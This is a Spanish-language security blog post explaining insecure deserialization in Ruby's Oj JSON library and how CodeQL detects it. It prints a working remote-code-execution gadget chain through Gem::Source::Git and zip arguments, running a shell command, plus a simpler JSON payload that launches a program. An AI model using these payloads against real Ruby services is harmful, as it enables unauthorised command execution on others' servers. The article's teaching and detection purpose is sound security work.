Los atacantes pueden ejecutar comandos arbitrarios en un servidor remoto simplemente enviando JSON si el código en ejecución tiene vulnerabilidades de deserialización insegura. Pero, ¿cómo es posible?
En esta publicación, describiremos cómo funcionan las vulnerabilidades de deserialización insegura y cómo detectar estas fallas en proyectos Ruby. Usaremos la biblioteca de serialización JSON para Ruby llamada Oj para nuestros ejemplos, aunque estas vulnerabilidades no se limitan a esta biblioteca. Al final, proporcionaremos un enlace a un repositorio con exploits de muestra que funcionan para Oj (JSON), Ox (XML), Psych (YAML), y Marshal (formato binario personalizado), y explicaremos cómo CodeQL puede detectar tales vulnerabilidades. Comprender cómo funciona la deserialización insegura puede ayudarte a evitar esta clase de errores sin tener que enfocarte en métodos concretos.
Construcción de una cadena de detección para Oj
Muchos tienen una noción de cómo podría explotarse una vulnerabilidad de deserialización, pero profundizaremos en los detalles. Mostraremos cómo construir un gadget de detección de deserialización insegura para Oj, una biblioteca Ruby de deserialización JSON, que llama a una URL externa. Este gadget se basa en el trabajo de William Bowling con gadgets de deserialización universal adaptados para Oj y Ruby 3.3.
- Empieza con una clase
La mayoría de las veces, las vulnerabilidades de deserialización insegura surgen debido a la capacidad de la biblioteca de deserialización para soportar polimorfismo, lo que permite instanciar clases especificadas en los datos serializados. El atacante puede encadenar estas clases para ejecutar código en el sistema. Estas clases útiles se denominan gadgets, y las cadenas que se forman a partir de ellas se denominan cadenas de gadgets. Tradicionalmente, la serialización-deserialización de constructos arbitrarios se consideraba una característica poderosa, pero en 2015 cambió la percepción pública con el descubrimiento de vulnerabilidades de deserialización Java.
Un proyecto en Ruby que use la biblioteca Oj es vulnerable con un constructo como:
data = Oj.load(untrusted_json)
Oj, por defecto, soporta la instanciación de clases especificadas en JSON, aunque se puede deshabilitar esta función. Para instanciar una clase, como MyClass con un campo member, el JSON sería:
{
"^o": "MyClass",
"member": "value"
}
- Mapas, listas, getters, setters, y más
La vulnerabilidad puede explotar diferentes métodos según el lenguaje. Por ejemplo, en Ruby, el método hash puede ser usado en lugar del método constructor initialize. Ejemplos para diferentes librerías en Ruby incluyen:
- Marshal: _load
- Oj: hash
- Ox: hash
- Psych: hash, init_with
- JSON: json_create
- Construcción de una carga útil con gadgets
En nuestro proyecto objetivo, usamos clases disponibles del propio proyecto o de Ruby. Al deserializar en Oj, podemos iniciar la cadena de gadgets con el método hash.
Imaginemos una clase simplificada como esta:
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
Usamos hash para ejecutar el comando open -a calculator. El payload JSON sería:
{
"^o": "SimpleClass",
"cmd": "open -a calculator"
}
Al cargar este JSON con Oj.load(json_payload), se ejecutará el comando y abrirá el calculador.
Extensión a una cadena RCE universal
Para convertir una detección en ejecución remota de código, necesitamos manipular miembros de clases existentes como Gem::Source::Git que puede ejecutar comandos. Una solución involucra el uso del binario zip con basada en GTFOBins, permitiendo ejecución de comandos mediante zip y sus argumentos -TmTT.
Finalmente, ejecutamos un comando como:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT="$(id>/tmp/anyexec)"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Detección usando CodeQL
Si tienes acceso al código fuente, CodeQL puede detectar vulnerabilidades de deserialización insegura con su consulta de deserialización de datos controlados por el usuario. Esta herramienta mostrará todas las ubicaciones donde datos no confiables fluyen hacia deserializadores inseguros.
Resumen y recomendaciones
Este artículo mostró cómo detectar y explotar vulnerabilidades de deserialización insegura en Ruby. Usar GitHub CodeQL es la forma más eficaz de identificar estas vulnerabilidades en el código fuente. También se proporcionaron gadgets para detectar y explotar vulnerabilidades sin acceso al código fuente, destacando la importancia de usar deserializadores seguros en los proyectos.